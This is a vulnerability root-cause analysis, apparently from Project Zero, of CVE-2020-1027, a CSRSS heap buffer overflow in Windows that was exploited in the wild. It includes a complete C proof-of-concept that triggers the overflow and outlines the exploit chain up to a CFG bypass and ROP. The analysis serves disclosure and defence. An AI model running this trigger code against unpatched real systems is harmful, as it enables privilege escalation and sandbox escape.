CVE-2020-1027: Windows buffer overflow in CSRSS
Sergei Glazunov, Project Zero (Originally posted on Project Zero blog 2021-01-12)
The Basics
Disclosure or Patch Date:
- 23 March 2020 – advisory without technical details
- 14 April 2020 – security bulletin and patch release
Product: Microsoft Windows
Advisory:
- Initial advisory: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ADV200006
- Security bulletin: https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-1020
Affected Versions: Windows 7 through 10, prior to the April 2020 patch
First Patched Version: Windows with April 2020 patch (e.g. for Windows 10 1909/1903, KB4549951).
Issue/Bug Report: N/A
Patch CL: N/A
Bug-Introducing CL: N/A
Reporter(s): Google: Project Zero and Threat Analysis Group
The Code
Proof-of-concept:
#include <stdint.h>
#include <stdio.h>
#include <windows.h>
#include <string>
const char* MANIFEST_CONTENTS =
"<?xml version='1.0' encoding='UTF-8' standalone='yes'?>"
"<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>"
"<assemblyIdentity name='@' version='1.0.0.0' type='win32' "
"processorArchitecture='amd64'/>"
"</assembly>";
const WCHAR* NULL_BYTE_STR = L"\x00\x00";
const WCHAR* MANIFEST_NAME =
L"msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_"
L"d761caeca23d64a2.manifest";
const WCHAR* PATH = L"\\\\.\\c:Windows\\";
const WCHAR* MODULE = L"System.Data.SqlXml.Resources";
typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount,
ULONG BufferSize);
f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer;
typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage,
PVOID CaptureBuffer,
ULONG ApiNumber,
ULONG DataLength);
f_CsrClientCallServer CsrClientCallServer;
typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer,
PCSTR String,
ULONG Length,
ULONG MaximumLength,
PSTR OutputString);
f_CsrCaptureMessageString CsrCaptureMessageString;
NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString,
PCWSTR String, ULONG Length = 0) {
if (Length == 0) {
Length = lstrlenW(String);
}
return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2,
Length * 2 + 2, OutputString);
}
int main() {
HMODULE Ntdll = LoadLibrary(L"Ntdll.dll");
CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress(
Ntdll, "CsrAllocateCaptureBuffer");
CsrClientCallServer =
(f_CsrClientCallServer)GetProcAddress(Ntdll, "CsrClientCallServer");
CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress(
Ntdll, "CsrCaptureMessageString");
char Message[0x220];
memset(Message, 0, 0x220);
PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300);
std::string Manifest = MANIFEST_CONTENTS;
Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A');
// There's no public definition of the relevant CSR_API_MSG structure.
// The offsets and values are taken directly from the exploit.
*(uint32_t*)(Message + 0x40) = 0xc1;
*(uint16_t*)(Message + 0x44) = 9;
*(uint16_t*)(Message + 0x59) = 0x201;
// CSRSS loads the manifest contents from the client process memory;
// therefore, it doesn't have to be stored in the capture buffer.
*(const char**)(Message + 0x80) = Manifest.c_str();
*(uint64_t*)(Message + 0x88) = Manifest.size();
*(uint64_t*)(Message + 0xf0) = 1;
CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2);
CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME);
CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH);
CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE);
// Triggers the issue by setting ApplicationName.MaxLength to a large value.
*(uint16_t*)(Message + 0x122) = 0x8000;
CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0);
}
Exploit sample: N/A
Did you have access to the exploit sample when doing the analysis? Yes
The Vulnerability
Bug class: Heap buffer overflow
Vulnerability details:
The vulnerability has been discovered in the side-by-side assembly component of CSRSS. The affected function sxssrv!BaseSrvSxsCreateActivationContext
parses an XML manifest into a binary data structure called an activation context. By default, the function is accessible from any Windows process through ALPC.
The relevant IPC message object contains several UNICODE_STRING
members. UNICODE_STRING
is a well-known mutable string structure with a separate field to keep the capacity of the backing store:
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
For each string parameter, the function verifies that the result of the expression Buffer + Length
doesn’t point past the end of the IPC buffer. Unfortunately, there is no similar check for the MaximumLength
field. When the execution reaches the function sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity
, it relies on the unchecked MaximumLength
value to determine whether a memcpy
call should be allowed because one of the strings (offset 0x120 from the beginning of the IPC message on Windows 10.0.18363.959) is reused as an output parameter:
IdentityNameBuffer = 0;
IdentityNameLength = 0;
SetLastError(0);
if (!SxspGetAssemblyIdentityAttributeValue(0, v11, &s_IdentityAttribute_name,
&IdentityNameBuffer, &IdentityNameLength)) {
CallSiteInfo = off_16506FA20;
goto error;
}
if (IdentityNameLength && IdentityNameLength < Context->ApplicationNameCapacity) {
memcpy(Context->ApplicationNameBuffer, IdentityNameBuffer, 2 * IdentityNameLength + 2);
Context->ApplicationNameLength = IdentityNameLength;
} else {
*Context->ApplicationNameBuffer = 0;
Context->ApplicationNameLength = 0;
}
As a result, the attacker gains the ability to trigger buffer overflow in memcpy
with fully controlled contents and size of both the source and destination buffers.
Patch analysis: N/A
Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):
The issue could have been found during a manual audit of IPC handlers in CSRSS.
(Historical/present/future) context of bug:
This vulnerability was used in an exploit chain together with a 0-day vulnerability in Chrome (CVE-2020-6418). For older OS versions, even though they were also affected, the attacker would pair CVE-2020-6418 with a different privilege escalation exploit (CVE-2020-1020 and CVE-2020-0938).
The Exploit
Is this exploit know? Yes
Exploit method:
- The attacker exploits the issue to overwrite the contents of several
_MY_XML_NODE_INFO
objects and implement the write-what-where primitive. - The write-what-where is used to overwrite the module list head in
PEB_LDR_DATA
. - The fake module list initiates a code-reuse attack. Due to the presence of Control Flow Guard, the attacker can only call existing functions with one controlled argument. Nevertheless, it’s sufficient to bypass CFG and transition to a classic ROP chain.
The Next Steps
Variant analysis
Areas/approach for variant analysis (and why):
A manual review of all CSRSS routines that make use of the UNICODE_STRING
structure.
Found variants: None
Structural improvements
Given that the issue was used as a sandbox escape in a browser exploit chain, it’s recommended to reduce the attack surface by blocking the communication between CSRSS and sandboxed processes completely.
0-day detection methods
This is a classic buffer overflow vulnerability; therefore, a memory sanitizer could have easily detected an attempt to exploit it.
Other References
- January 2021: "In the Wild: Windows Exploits" blogpost by Project Zero